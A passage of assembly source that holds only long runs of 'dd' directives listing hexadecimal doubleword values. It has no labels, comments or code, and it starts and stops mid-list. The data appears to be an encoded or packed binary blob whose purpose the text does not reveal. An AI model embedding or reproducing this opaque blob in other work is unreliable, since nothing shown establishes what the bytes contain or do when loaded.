57DED19h, 178C9158h, 0BF090CFFh, 63AC0D6Ch, 1298FA01h dd 29E2EA3h, 64136859h, 0B850FC98h, 10579400h, 0E8D14014h dd 0A7D051F7h, 0C2269CC5h, 0CA5B5628h, 20CC81A6h, 505E782Ch dd 506807C6h, 1C6953h, 15F7BB24h, 0EBC139ACh, 0E3280373h dd 4740C902h, 1DB30335h, 44012142h, 83FB5644h, 51019682h dd 88420505h, 680B8102h, 29C42A01h, 72D51D0h, 4023A348h dd 0DCFFF61Bh, 1690DD44h, 82F50128h, 59384100h, 48D8F74Ch dd 0C4E91840h, 0C083308Fh, 4870212h, 4B8CEA24h, 74325551h dd 4C80E3CDh, 1A747F12h, 18001605h, 200D56A5h, 98756032h dd 313B0CB4h, 0F0BE2633h, 7004BF2h, 49C1EA81h, 0A21E1FDh dd 9BFEE9D5h, 0E6EF84E0h, 0F7D6C148h, 0C00247DFh, 1D238DC7h dd 0FA89D303h, 4414D5E9h, 0FC8A333h, 5B6DEE53h, 90179AC4h dd 2093C29Fh, 2C5AD009h, 0C98E870Fh, 0EB5D7F0Eh, 3CE5E946h dd 0E9C15347h, 2C128A21h, 0F0E90602h, 0F7104954h, 1272FEA4h dd 83E04573h, 0E19A1DC1h, 2666D390h, 5F198D90h, 5BAA5C31h dd 0BA49F34Bh, 5FE976D8h, 0BF106960h, 7A76708Ah, 6A87304Ch dd 2E4C014h, 0FECC801Ch, 2553C45Fh, 0CFCAB958h, 0F38A2CBCh dd 33720F68h, 58DD5038h, 5CAB3C83h, 2FBD4AAh, 62E0CF81h dd 0C1806FA1h, 0D04526Dh, 67C8E918h, 1EF9BB22h, 8960550Eh dd 0C4A7DCABh, 851973E5h, 0C2312200h, 5AD30158h, 5C92A187h dd 2AE96A24h, 2CC84829h, 95FD5EBh, 1C866CB1h, 0C718F31Dh dd 0F7395758h, 5F0BC2D3h, 83A9C6E9h, 23430400h, 0DAB02B8Eh dd 0BF575000h, 5196398Ch, 5D7A30E9h, 0C8845C28h, 0C9DCBDA0h dd 0DA68A8C2h, 98CC683Dh, 4914996Eh, 6FA45414h, 5AC059A2h dd 0E91408A9h, 24620BD2h, 7519257Eh, 0EE60F90Ch, 333C905Bh dd 5A72F15Ch, 0B7EA05B1h, 83E35F0Ch, 0BD401F6Bh, 581A8B70h dd 0B8A43AAFh, 0E55E1232h, 114A3F0Dh, 3AE2C734h, 6E8675E6h dd 0E9308E0Fh, 0A5BE5602h, 64103853h, 26FF0BD8h, 50033FA4h dd 4A8A137Ch, 0F556B386h, 1A9EC100h, 0CF01B192h, 9A27FC59h dd 0DA891EE5h, 0C17E65Bh, 0EB812CA3h, 84D1A0C4h, 60C20B13h dd 68556EA0h, 30262C7Ah, 2008C027h, 0F8ED8003h, 156774Ch dd 20F7DD58h, 3E545855h, 0BBBC229h, 0DB996853h, 830B82D7h dd 413302EDh, 6BB3181h, 89AC4841h, 7DEA709Ah, 282E83A4h dd 0BA030026h, 5187E46Dh, 4B51AF50h, 42828BEAh, 5E08950h dd 3C113AA3h, 0BA54FD60h, 0A57BF4h, 0F3F28138h, 52350446h dd 0C173F762h, 0CF8F0708h, 0C8C5C0Ch, 0B60F94C2h, 876B42C8h dd 68A13Bh, 0F6E80E2Dh, 0C51F01C3h, 4B895E58h, 283F148Dh dd 31FBEFC0h, 0AD38D932h, 44AD2155h, 4D1214DEh, 458A8B98h dd 50EEC180h, 1687F605h, 7376B4Ch, 31D107C8h, 819CA5E9h dd 314BC36Dh, 0F357C94Ah, 0D0FFCA93h, 0CC17F88h, 0EAD104E2h dd 6C2658F6h, 55150D1Dh, 3CD213F4h, 2F966444h, 0B25CAD54h dd 52991951h, 0B0319A33h, 685C0D06h, 0BE1758FBh, 9D03D5D0h dd 8723522Ch, 52F5B43Dh, 0E47719AFh, 0D74458FEh, 9B528E9Ch dd 59F1BF8Fh, 2A57C983h, 69EA7C7Bh, 0DF118387h, 9201C1BEh dd 0C849F53Dh, 54F7315Eh, 66C38B42h, 4A068AC7h, 66E9C145h dd 3E60F602h, 0DCB89DB4h, 4D26C67Dh, 0F181BDF4h, 1FA82FFAh dd 0CE010A60h, 39216A12h, 61CB895Ah, 0E96E0CA5h, 0A7C9E36h dd 60EAF01Dh, 10C685A0h, 7851317Ah, 847A2198h, 2909E908h dd 7B62C297h, 0CD4B686Dh, 6228FC9Dh, 3C878CE2h, 40E6F269h dd 6549CA4Fh, 5762D812h, 9B85F309h, 31F6C17Fh, 7D519388h dd 4C53BE14h, 49F903E4h, 8C4558EDh, 1BE44E80h, 0E9151250h dd 52075257h, 698D09F7h, 5CC08A06h, 58638760h, 0B3E18951h dd 1CE90AB5h, 7AC838C9h, 870622B4h, 0C15CE581h, 21368CE9h dd 0F3FC413Ch, 6F2D6704h, 651602CEh, 0B9D93078h, 31F0718Dh dd 8F70CF5Ch, 33E2E952h, 220C4027h, 0A40624E9h, 63E39222h dd 0C0C8310h, 10164EE9h, 89D402BAh, 0FA01F94Ah, 315D9740h dd 6E80E694h, 8859CE30h, 0FE5A1EF4h, 0DA06F9CCh, 0CAFC13E9h dd 8376438Ch, 83246A91h, 0B6F036B8h, 2BA8012h, 0B9C35630h dd 0A988128h, 44405C3Fh, 11D242F1h, 840F4700h, 4C109A06h dd 75283E53h, 96FB0079h, 0D789A4B7h, 0FD0C295Ah, 215369E9h dd 70AF0DC3h, 48572E39h, 3194D85Bh, 0B50DB212h, 84301FD3h dd 71145CE5h, 50A4B5A7h, 0CA3C8E8Ah, 0D081F425h, 280A5268h dd 370C9633h, 3DEB410Eh, 0CFBDFB3Ah, 70ED0198h, 0F2EE5856h dd 0EA258362h, 0C709E3D8h, 0B062FB3h, 0ABDE517h, 50457683h dd 1A7726EFh, 0EB835A06h, 256D3304h, 832F999Dh, 269C5871h dd 71AA4EC5h, 73589096h, 77053F2Fh, 0AC7CE00h, 0D6F75891h dd 606C998h, 0A1728B0Fh, 43F6018Fh, 1559804h, 1A0070F0h dd 35880F80h, 826CDF4Eh, 0DC717955h, 1AE0D98Dh, 58083A60h dd 417DAE88h, 0D1E6E86Ch, 4B69E8C1h, 40924828h, 30F03583h dd 74680417h, 0D4CD034Ch, 2CF1519Eh, 1E5A94C7h, 3D44BB53h dd 18C20D41h, 5F2469B4h, 42E46560h, 71DC9E19h, 1A270B2Bh dd 5E5E4113h, 0AB0D2D95h, 2144E358h, 0FAE8924Bh, 0F2F09874h dd 0A0109C70h, 566D02C7h, 1C8B735Fh, 21F3DA44h, 203528h dd 66F37AFh, 8A0F0D09h, 0D13F2289h, 0E0C383EEh, 0D6FB3B69h dd 214CBA6h, 782740ADh, 0A1C4B384h, 3352078h, 60FE098h dd 0CF39B0A7h, 698C4CC8h, 0D8DB50F7h, 0BB6666A4h, 28F10B67h dd 0A76808EFh, 8155004Eh, 0AB0E09C7h, 0F7045C76h, 84EB42C9h dd 586BA880h, 16F1F41h, 8D1BDFBh, 402A1D20h, 0D9904064h dd 6D629931h, 96043FC2h, 0C46B7C08h, 3090496h, 85A63C87h dd 98DDEE7Fh, 50560EA6h, 0F5C00A59h, 2401E45h, 30270CC0h dd 15018A1Dh, 801AE9EAh, 94D0AA40h, 0B435004Ch, 0C17607DFh dd 0BECAE850h, 0BDD08F41h, 4E18265Ch, 0EF6B1A90h, 2F2661h dd 945BDE88h, 0B021FADh, 0B0143426h, 0B672F4D3h, 0A6D37A5Ch dd 8B12240Ch, 61858692h, 1720175Fh, 0B25A5107h, 130A3334h dd 8D5B64F2h, 49A43C62h, 0D3FBC441h, 0F69AB593h, 2A2C847h dd 59CA2905h, 988725CDh, 0D028DABBh, 8C0FE97Dh, 0B41EB3D3h dd 0C7C28913h, 0D86840ADh dd 4074286Dh, 0AA4C01FCh, 95E9DE80h, 0DD363958h, 54B376BEh dd 70DE183Ch, 76AC61Dh, 29C53D10h, 0D765D3F3h, 0E1686609h dd 71409A0Fh, 584FA4B1h, 3C948DE9h, 30B0B701h, 0E3C05BFCh dd 0F3801958h, 5047CCF2h, 2B551F6h, 0E8885007h, 0C540D0F6h dd 0B8536658h, 7E8509A4h, 2F043418h, 215A017Ah, 32621C4Fh dd 76A6EB2Ah, 68B63259h, 528F3C87h, 20BBDC6Dh, 0F78003DBh dd 0AC17B41Ch, 0BF18BFFFh, 0C2F9273Bh, 0C50F7C9Ah, 0E6EB28BBh dd 9414E381h, 0D129960Bh, 6D08B93Ch, 5B5A1329h, 15C35C08h dd 838CBC59h, 9E26680Ch, 12698539h, 12D4C73Bh, 67DE97A2h dd 0BB2AC1F5h, 9B4B3451h, 6DD011Fh, 509BF15Ah, 4E11909Eh dd 0F360409Eh, 5471A2B7h, 0BA60E894h, 4C151C07h, 603B968h dd 4B23CD63h, 4933038h, 0EDE97069h, 77FFB8D0h, 0BF0B23Ch dd 542F23F9h, 43E9B0B8h, 9C5D5940h, 40B088C0h, 0A1F83009h dd 0E689569Dh, 6D06468h, 5CD74192h, 0EC0BB050h, 0C348285Eh dd 53520304h, 0C7B6EBB7h, 2585FE04h, 16F44D04h, 1374C8B4h dd 0D1E9E7Ah, 300D70C6h, 0ACB25E75h, 0C4EF504Ch, 53054CABh dd 919F0C54h, 0FB1ECF8Dh, 52C0A513h, 6AFFACBAh, 4A015C7Eh dd 607E474Ch, 84ED2B0Dh, 877B4750h, 16286334h, 0A157FC0Bh dd 0DF015F29h, 24C642E6h, 31003C70h, 5815E9D2h, 1C1EAEA4h dd 1812669Dh, 0CAC12932h, 3F85C0FFh, 2D0EC0FEh, 309F7A81h dd 0E84046B8h, 80E707D0h, 3FFE0FC7h, 7C1EC8Bh, 55A03EC1h dd 5B54CAFFh, 85410092h, 18E9AB15h, 4A953169h, 0F464EFh dd 0E28841F4h, 0F6DA8658h, 4D54D365h, 0CD0036B3h, 5179C86Dh dd 6F266BB9h, 0E102F1A0h, 0E1921D29h, 2F74CF04h, 0BD88998Fh dd 0C0D74EB0h, 0F9F107E5h, 4DC07492h, 2467045h, 1FF2A058h dd 0B6BE0402h, 835D7DE8h, 5F0DA16h, 0CE680129h, 0F83C0826h dd 7DB85971h, 10D8034Ch, 4E263C55h, 0C6751735h, 0EE59CC54h dd 83C603DAh, 124C940Bh, 203A3F22h, 886CF249h, 0AC9856E6h dd 2244802h, 497C2917h, 0FE175E20h, 28F70FCFh, 0F82C213Fh dd 0B025C5Fh, 98EA0E9h, 9084063Ah, 0AD66074Fh, 52CC373h dd 6822C249h, 0FACF8235h, 85704DE2h, 22815D5Ch, 96EB079Bh dd 0B4B55CAAh, 0F7C0B06Bh, 5095D000h, 114173B8h, 9A25007Fh dd 356C0D6Dh, 0A713AF80h, 0AF0131ACh, 0A6E9EF01h, 45A8C50h dd 0C8281D19h, 59660E2Ch, 5E39D8CBh, 12C8285Ah, 8B004BBAh dd 84EA813Bh, 0BA54502Eh, 130A208Ch, 1B7B4A5Ch, 125CCA3Fh dd 0C6B08F0Eh, 2AE49EFDh, 155AD524h, 694D4C0Ah, 320A8602h dd 3104E113h, 30F059C6h, 7938CF1Eh, 4E0C2C60h, 3F14A11Ah dd 0A372C301h, 140C4008h, 20564E58h, 5EF30127h, 0B52CF6B1h dd 6B680702h, 1EC7796Eh, 45F34B50h, 4F2D8866h, 50AF22D7h dd 295919C7h, 7B469239h, 0ECD19058h, 0F973EE5h, 4C80916h dd 1F444A4Eh, 0A10804Ch, 81E6945Ch, 4D782829h, 6DC7FD52h dd 0EDC30091h, 29FC226Eh, 96EAFAD9h, 0D3310C22h, 5E9A6992h dd 74EB517Eh, 79002DA3h, 5224AF50h, 0C420FF68h, 1D5D8775h dd 0D1F7CD06h, 0E5811F08h, 3EB909C3h, 5FB0A803h, 0E7417FE2h dd 7E6B604Ah, 38C60CDEh, 0D4387974h, 0FD006504h, 298C1848h dd 489859CDh, 0E9305D4Ah, 0BAEBC0E9h, 2242211Dh, 49CEBE81h dd 74871D56h, 57436559h, 0CDE9B221h, 4F06C558h, 0F8E18D0Fh dd 81F9642h, 0EC4337EFh, 620C4A21h, 9343EA22h, 20884A4Dh dd 718412EDh, 64C953Fh, 0A5784947h, 3A01335Ah, 36F2685Eh dd 4CC2CE68h, 0AE82BE57h, 6EEC2834h, 9C09745Ah, 50DD5ABAh dd 0A652C929h, 0CE91209h, 581A32FBh, 1C4095EEh, 22D86923h dd 1D9904CEh, 0D1341491h, 8948C149h, 343066E7h, 33C80C83h dd 2DC86A21h, 4025173Dh, 784DB811h, 16987BEEh, 3ABEBCF8h dd 0BA066612h, 0B00F0F35h, 2EC65CD3h, 0A80B2C2Dh, 2D55654Eh dd 4F7A734Fh, 0AC889435h, 2FEC5932h, 0F4CEF17h, 676641F7h dd 0EE3D17F1h, 7288BCE1h, 380811BCh, 60BD2043h, 805B26BEh dd 300BD9F2h, 0B8148BD4h, 30CC8695h, 0F608C1FEh, 0B20A52DCh dd 0C7D8E990h, 5173BB87h, 0DBF75811h, 7A70AC20h, 0F590578h dd 0C8842E80h, 5B122F97h, 3F0518BCh, 0ACDDFB54h, 80C37D31h dd 2C5ED189h, 18D65857h, 43EA3F52h, 12FDDBCh, 477F6849h dd 77502923h, 992FE0Ah, 0CB7EE91Ch, 7A0BEB6Bh, 2154B0Bh dd 3416E8Ch, 0A015CDFEh, 4F95F648h, 0FAB1B805h, 5F7AF9E4h dd 6828308Dh, 32955330h, 1D1D7B99h, 225397EBh, 0D2C85B87h dd 22BC27E9h, 3802492Ch, 0CE033E68h, 336700CAh, 0F18122B3h dd 6D026B55h, 5E890F64h, 8081AF7Fh, 1B19686Fh, 0B1D1092Ch dd 0C2495C66h, 56D53879h, 6F347B5Ah, 0C8B20A96h, 5FFB290Fh dd 59131AACh, 8CD4F626h, 1887708h, 8664F380h, 0F6EFCBE3h dd 10D208D2h, 7302390Dh, 42C1492Eh, 81249072h, 0B8A626DBh dd 0B902032Dh, 3655C0E8h, 4E126C1h, 49136Fh, 22DF25DFh dd 709801C8h, 5DEE2903h, 271C5B68h, 8482C74Fh, 962FB21h dd 3926AD5Ch, 0D210F3E8h, 0E1D74950h, 3F800C20h, 5C2EE8C3h dd 8E0F8580h, 0CBA25E6Bh, 9E940AF8h, 58305259h, 2D2A0B48h dd 0C78A00E7h, 0E720127Eh, 929C7970h, 0C964BB0Bh, 0E915323Eh dd 783F20AFh, 4EDA445Dh, 7F843153h, 4A763F8Bh, 437574EFh dd 1B42B8C1h, 650500CFh, 11074F5Eh, 8B79A335h, 0BC20153h dd 1CE9505Bh, 0DAF6ADA0h, 3048E280h, 93473EFBh, 0D42175B8h dd 0B2074282h, 1A4A1D8Dh, 0D9D26AC2h, 0E97B6661h, 0BEA5BC15h dd 0E99C3C15h, 0B52156D7h, 84040313h, 0E487AC7Bh, 4C06FA09h dd 255972E2h, 0E30214D3h, 0E50BBBD6h, 0CFDC0C03h, 0A695F61Ah dd 0B01F56ECh, 5585A690h, 202A8EC5h, 7CF78022h, 72F4FAE0h dd 446FD69h, 12D26BDEh, 44CC7391h, 7737E314h, 82F98A8Eh dd 54F97B4h, 12C883C3h, 62B6FB3Ch, 6866025Ch, 408B72Eh dd 0A0E9FE30h, 0EF95D1E1h, 89062006h, 71E80F16h, 268CD508h dd 66C30160h, 0F1161F68h, 218254D3h, 518B76D6h, 7CBB3A8Fh dd 0D30F816Eh, 0C460529Fh, 681B40D2h, 1027ED27h, 9B5F54F4h dd 28948B2Ch, 68CF2A49h, 0F6F240FBh, 80309641h, 8E83DC1h dd 0A5F2602Eh, 0FA95BEB1h, 1B8A56F9h, 59C913FCh, 5A96A8C0h dd 0C4C73437h, 3D9AF364h, 0C9F754D2h, 0AC4CBA6Eh, 0F6430BC4h dd 1C689C50h, 51F8005Bh, 0D1F6C9B1h, 1EC18002h, 0F9883BE9h dd 224B6A07h, 65B5255Ch, 0DBAB49BAh, 0E8A05BEDh, 9D1E679Eh dd 477254Bh, 4EA8CA6Eh, 0E2B583A3h, 63532C5Fh, 0ABEB8180h dd 0F6296387h, 82544DD7h, 8468C204h, 0C084EC59h, 640740BFh dd 0E9CA0C29h, 311E2D43h, 782EFC9Ah, 876999D4h, 994BD0A3h dd 0AD2054BFh, 6AEFDF2Bh, 0D0AEC9A0h, 43311741h, 64033BFh dd 14BE10FAh, 8BC3B91Ah, 70C5EADh, 57D2F759h, 8DD46EAh dd 143FC0A0h, 0D648D00h, 75F5D4Ch, 9417735h, 0C2294F24h dd 81809ED1h, 0C9678FF2h, 2EE9256Ah, 0D829C0C0h, 0DC4DC6EEh dd 0B2A2929Eh, 26B3EDCFh, 5690E15Ch, 0B576825h, 84B45F5h dd 571D30D4h, 9630788h, 0DD03555Fh, 1D005EE1h, 7EC5BE56h dd 81320Bh, 0F352D6EEh, 0E3FBE91Dh, 49B94BA4h, 0A6EC5444h dd 0A4EB5BCDh, 1C15007h, 4A6058C3h, 0FB09A002h, 8F3C528Bh dd 321C8712h, 8FA7BF90h, 1756255h, 5140377Eh, 0B08895B5h dd 0D585248Bh, 4C2EB88Eh dd 793E40ADh, 1240BF8h, 82064FAh, 42730CC2h, 4FA140F1h dd 0A098950Ah, 45811201h, 8A01F044h, 5E13514Dh, 27609600h dd 0E4E6A31h, 4BD53A9Ah, 181B0E60h, 187DE130h, 0C9304090h dd 0DBCE0C1Ch, 31700B41h, 40065EF5h, 0BD3CACBFh, 0FA8A9480h dd 1F060490h, 0EDFC2304h, 359B660Eh, 0ED28BC9Dh, 1E586008h dd 7A2E376Eh, 49D31AC0h, 68010FE1h, 34081CD5h, 1614241Ch dd 56FF042Fh, 0B55C0A44h, 0E0C00BC2h, 80C8E909h, 9B9DD368h dd 2E55C12Eh, 8C410A63h, 794630F4h, 8BF22649h, 0FBC28979h dd 53009459h, 206D39BBh, 0D3F7283Dh, 3CE609FCh, 0DE20687Dh dd 0AE24F381h, 0E0AAA225h, 837063C4h, 0CA1362F7h, 29D3C44h dd 19310BEEh, 0A2E8E6E9h, 5302CE2Ch, 0D82862B3h, 0B2645A5Bh dd 0ADE9133Bh, 8860B25Ch, 754F080Ch, 0F102D432h, 49B81FF7h dd 65806E83h, 3EA74325h, 46A0D1B8h, 1383548Bh, 3F417D2h dd 5FF82904h, 0F74CC69Ah, 44D6F72Ch, 0CC73CD1Ch, 3ADA1054h dd 8F5D24C9h, 0E64A0FEBh, 77A38FF1h, 45F4BE5h, 0EC3C3309h dd 7C2FC657h, 7A1770FDh, 57D8E9E8h, 0EB801359h, 89B50BF3h dd 0D996EDE2h, 0DD08BB54h, 0EE015B09h, 0A183505Dh, 0A0AFCC53h dd 68127B34h, 9347742h, 0E6A46C2h, 0CB8B081h, 34A1EFDCh dd 680EF995h, 65307596h, 0D5F75AB7h, 5EA69555h, 54F3DACh dd 8E014549h, 3DF7A888h, 0F3DE4D76h, 52009A58h, 0EA806AB2h dd 0DA1B8654h, 3E08C3FEh, 0F20F0112h, 7E9C095h, 5C3E2286h dd 0A62CD32Ch, 5685239Ah, 194D4FB6h, 0A4396C15h, 102F8A5Fh dd 9990DA07h, 0B9518012h, 0AE48F92Dh, 6D43314Fh, 252134E9h dd 2D69EE41h, 533F745Ch, 0DDF06877h, 0C31603BCh, 0D1F7A7C7h dd 4E69C029h, 0B992975Ah, 255C3D5Ch, 8063C7E9h, 6168A2C0h dd 0ED697B4Bh, 0E913EF0Bh, 6017F147h, 0C13DFE23h, 2C730180h dd 4C8285Bh, 439152D3h, 638A1719h, 5C4A20F2h, 690BD80h dd 0BF5A6541h, 3E900B94h, 2BD54F41h, 0ED2B5869h, 86912262h dd 9509F6B7h, 6894814h, 36E15233h, 5314B458h, 30AAB8B7h dd 10CD2D5Dh, 5C963B7Ch, 0C2BCF507h, 1C852B4Eh, 77E2AD0Fh dd 2116B82Fh, 535AD7C5h, 88FBF470h, 2D1FD2C7h, 7DFB3098h dd 0F8132EE9h, 88C388F3h, 0F6108734h, 0B80267F8h, 4D14481Bh dd 9D8EBBC1h, 0A4D7CC27h, 0F7424342h, 6130E2DAh, 25D03C60h dd 28EF982Bh, 18F7835Ah, 3A9306E9h, 0E3038143h, 46F23D47h dd 251EB6C1h, 62231377h, 790030CEh, 49C659F5h, 2630540h dd 891CC009h, 4BD458C1h, 2B204A87h, 144C2933h, 0ABD5510h dd 30B3E909h, 60FF19E6h, 0D48A0D10h, 98E9503Dh, 2D00DFB4h dd 1F3B2E91h, 52D01429h, 0CC5108BAh, 50CE5CEAh, 20B5B555h dd 0CA370510h, 623FF6DBh, 0F82116E7h, 6A8284h, 0EF81DF01h dd 0BE221764h, 0E83C1D51h, 51BB6B84h, 0ECCA3242h, 7B9AF2CCh dd 59636816h, 37A0E08Dh, 0CC90A0h, 511717Dh, 9A70C8BEh dd 76E9330Ch, 5D582238h, 0E9F1CF59h, 0DE132B6Ah, 6284AD09h dd 0D68A6356h, 0A8989803h, 54F98884h, 99AA352h, 5D6B080Bh dd 96929788h, 51EF8B5Eh, 35442EE0h, 6FE2D889h, 0A512413Bh dd 0DBBBF54Fh, 2E708411h, 3215A848h, 2912BA10h, 7D47B220h dd 0BC1085Bh, 4ACDEF7h, 43E20064h, 0F52996BCh, 78E5E915h dd 3AF17683h, 0B4770644h, 539FEBECh, 594649A6h, 78FD9280h dd 0DBB642E3h, 28670508h, 20EB01ADh, 0E7D16034h, 9DCFE447h dd 3703581Ah, 52A9021Eh, 8BB0C18Eh, 0ADD25AA4h, 5F62E432h dd 0F448D259h, 98BF96ADh, 0CD839F30h, 8BAF0E65h, 251DF0Ah dd 75F07021h, 3CC28B72h, 0CC37DA68h, 2A40C9Fh, 0F5DA1087h dd 205E6400h, 8959CB01h, 96E912DEh, 819A347Bh, 485AFEF2h dd 916EAE6h, 0BC09F148h, 0DD0A00C2h, 904A1933h, 0A1EB04ECh dd 0C0FA7F1Bh, 0A9480ED7h, 0C6E93E1Dh, 76390A0h, 0C8391E51h dd 0E1FACC89h, 0DF6AD70Fh, 1AA71C34h, 57D20244h, 0D95C07C0h dd 0A020195Ah, 57C2C1B3h, 79297A79h, 40285CCDh, 14B55A0Bh dd 915C5B75h, 3F8821E2h, 778FFF27h, 43BA0081h, 0FE700AD5h dd 0F28103DAh, 8F30456h, 23E80C00h, 0E2C1026Fh, 0D784D605h dd 0CA4583h, 662BC2D6h, 95BCA4C4h, 0E9DA053Eh, 82582FE8h dd 3F527E86h, 0D66B3A87h, 79E4CD02h, 5058D49Ah, 0CB529409h dd 5B1F0962h, 27138898h, 9E6F1427h, 0D5E96250h, 0B3F4E3D2h dd 5163EABEh, 0A9E39C54h, 50D1011Ah, 0A05E6056h, 266A3E44h dd 1E614D16h, 8CA26401h, 5F0BD7F7h, 260C17Dh, 0BA656C96h dd 0F9013E2Ch, 0C54FE916h, 0F6890119h, 2021CE69h, 7F3D6C12h dd 0CD1FF65Fh, 7CD76AD2h, 0B6F0BC12h, 7ED935F5h, 37D50B14h dd 7EAB2CD1h, 50166123h, 2CB28D04h, 0B884FAE8h, 0E0D10756h dd 51E38B81h, 0B95B9751h, 58C28800h, 17B8073h, 0AE35662Fh dd 1469C8CCh, 1AD6A0B9h, 0E1A4F981h, 0FC6284F7h, 27B2A7B0h dd 4DED517Eh, 0C087003Ah, 32043F51h, 0D54765BFh, 31FDC481h dd 2520A806h, 0CEFE3C2Dh, 5DBB8012h, 0DEF64D1Fh, 66684204h dd 94A35E05h, 4B74247Ch, 53EF6FB3h, 580F8BAh, 4EDC2A70h dd 43016390h, 0E9086628h, 743E557Eh, 0A409A876h, 58873CB8h dd 2B71EB8Fh, 0B8DB642h, 0FF653D59h, 0ED15E9BDh, 5F93EA57h dd 543C0857h, 80C4AF3Ah, 2E27BB44h, 0F75517AAh, 3260BD3h dd 4B192F80h, 4A981EFDh, 32E0F305h, 0CFAC5FF2h, 2368664h dd 79446468h, 40AAA43Dh, 6602AC05h, 0C8294516h, 4476390Bh dd 8CE2946Eh, 0EA3F51B5h, 0B3D8F3A2h, 0C4C52932h, 0F07E4DEh dd 0B69BBEEh, 1F29D169h, 0D97F2E50h, 0E81F4EF4h, 0B4CBCF9Dh dd 31047A24h, 0F4A5627Dh, 0CC286B1Dh, 6E74E1E9h, 0F0DE9888h dd 9DEBA87Ah, 600EFEC3h, 0BE5680B1h, 0A82C2AD2h, 0D928890Dh dd 0D672501Eh, 8D1DE984h, 0AC4E9ACh, 0EE4C1F53h, 1BD40B0h dd 5C510DF5h, 0F402E5C1h, 0A7D278D2h, 3693FF00h, 0BBA41E4h dd 3344EC10h, 0F8C05970h, 4D932F13h, 0EAD16829h, 0E5A1808h dd 12262792h, 0A7A86E69h, 0CC33219Eh, 0DF65504Dh, 2E090513h dd 0B4F03195h, 0A0BDD550h, 3BEFEB2Bh, 0A4144967h, 0C3C7C7D6h dd 8095DC35h, 182EA647h, 0A4825D4Bh, 48088BEBh, 0C0142960h dd 46C468D9h, 5A0037B0h, 0D4BFF2B8h, 0E62C2D05h, 1411EBCh dd 0B00728D0h, 6D24203Ch, 14270B90h, 2089E633h, 15981BECh dd 0F71FA309h, 20F88578h, 5A8B69E0h, 0E2215602h, 4814207Dh dd 282A8850h, 9660BEC6h, 0D6820B5Ch, 0B7540668h, 56F22181h dd 5A142F44h, 0D798F393h, 9DD9A2B6h, 7CF21020h, 895C3882h dd 10DB1093h, 31EB0500h, 0D0F7B135h, 40E8D10Fh, 53936148h dd 0F7BE2DDh, 0E9C4214Ah, 8780919Ah, 0D2FF35FBh, 65CFFA86h dd 7CF3C501h, 0E8893EEDh, 69E9A989h, 0ECC0C620h, 501F5205h dd 0F9097EB0h, 0A9452226h, 0B2C30FAFh, 0BC300895h, 80430E66h dd 0F5BB70EFh, 0D6D6C7D5h, 0B353C1DBh, 5EF3F40Ah, 0E9D8280Bh dd 66ECA3C5h, 0D84BBA51h, 64B33829h, 0E198DD3Ch, 2CC7AFC2h dd 0CDF4516h, 164C5C01h, 6560289Eh, 9A27BF08h, 0FCD869E9h dd 0A37230B4h, 0E3FDF6Ch, 17F2BE25h, 51EE8181h, 9C54E69Ah dd 32C0B813h, 791C6F21h, 0F52F6B5Dh, 62C2BC48h, 35B56B16h dd 8AEA0AC2h, 0A102C208h, 7606E62Dh, 792484h, 58BF62C7h dd 7E904B43h, 0F62446EAh, 53A8CE56h, 4737FF25h, 8972248Ch dd 75F9C331h, 22B6662h dd 0E0E22959h, 52D69042h, 842FC99Ah, 5EF05C6Fh, 49FA945Fh dd 64D31899h, 0AE48BB82h, 2CEA8141h, 0F6D83B0Ah, 0BC4C145Ch dd 0B0019537h, 0E9149A35h, 5EA62C23h, 0B10025C9h, 298CEBFh dd 0F929E003h, 7BCB46E9h, 2D5AD0B8h, 0C78A202h, 0D3895E14h dd 5F011671h, 76E94C57h, 0EB50C18Bh, 5009F3B9h, 842D7496h dd 6DB83FCCh, 1F5768C0h, 590E1C94h, 4C05E9C1h, 0F14DDBD6h dd 123D1BE5h, 6A7E7000h, 5DEF2183h, 0EB4CCF3h, 5E63F72Eh dd 7A912F13h, 10050FC7h, 885E508Ch, 0A6BDD385h, 0A0A92213h dd 82DD0113h, 46A78F73h, 4C294606h, 44338074h, 523122AAh dd 112DDFCFh, 30FFF9C3h, 41065774h, 315F2DB8h, 96E1B240h dd 586CA033h, 0D2046087h, 0BCC1A7E9h, 5456C5FAh, 0DFEDA805h dd 99E21A8h, 8390695Ah, 0DD487503h, 9DC10009h, 21AD66C6h dd 0CCE925CBh, 0A4BEC104h, 0C0D389AAh, 4910CFA6h, 25154C80h dd 0C555429Fh, 7267AF4Ah, 2A13E7A6h, 4DD66990h, 0C36B4B3Ch dd 0CD73EB4Dh, 0CE26E3ECh, 0E904E27Fh, 29092196h, 60575D91h dd 5B813DD2h, 0F2EE046Bh, 8B0AF819h, 7650E220h, 0B6C0C0Ah dd 0A1C0EABFh, 0B44DD5F7h, 1339B007h, 96C187Ch, 42903BE1h dd 0C6127AF7h, 0F916443Eh, 0F3D9FDC9h, 5C5F2292h, 0B747D611h dd 0C0D011BFh, 69581110h, 4BE556DEh, 680E0761h, 0E1B417DFh dd 0E630CE03h, 0F2CE9B58h, 59ADA438h, 440E2880h, 9B124CBAh dd 90B9D129h, 0E61C4A83h, 16C444E7h, 0CC314B68h, 0F6019B3h dd 0C66E589h, 830E58CDh, 0B0EFE645h, 58B152B2h, 1B256331h dd 0C7164FC8h, 61C2A6BCh, 0CD2D9032h, 850F8052h, 0EDEB1127h dd 0D3FA28EFh, 167F8E2Ah, 0B55564E9h, 40C6569Bh, 4A1F309Fh dd 0C2E776F9h, 0E90802C5h, 3DC75088h, 4ED5EA68h, 19115FE0h dd 0D5A0170h, 0C958DB71h, 0FFC834F3h, 213D23B3h, 4AA430FDh dd 0D48084D5h, 65038082h, 3E7C198Ch, 0F6D478E9h, 90074E9Fh dd 0C1D82EAh, 0F6583D26h, 0AD46472Dh, 5C5F1AE6h, 884A2FCBh dd 1D4068ECh, 0F0F9D5Eh, 9073C424h, 0E0C1D861h, 3A50548h dd 0EDDBFB67h, 5E5BDA31h, 1CE90B53h, 0AC046E29h, 0ECB38602h dd 0C059A04h, 63C0834Eh, 0FBD5549h, 1A5AFFD5h, 0A8FABD1Eh dd 0F7D328A9h, 2529872Bh, 0F311C748h, 832D2B6Eh, 68DE90D9h dd 8C154FA0h, 4E04F8BEh, 0CBE93269h, 8FA06795h, 60CE4135h dd 0E1D2D403h, 47F4CE01h, 95EC1523h, 8217DD39h, 2772EBF7h dd 56A78160h, 5E3A3D26h, 4EA6300h, 4983E934h, 0C6003BC3h dd 5AF12062h, 6AC8C9FEh, 0B20C2FB1h, 4B1F804Eh, 729609B2h dd 60B8C241h, 0FA89D406h, 7712D996h, 7A4F6FA2h, 2402C509h dd 525AC9FAh, 40284124h, 2135E069h, 0BC1E20Ah, 525707EDh dd 12D46100h, 889111Eh, 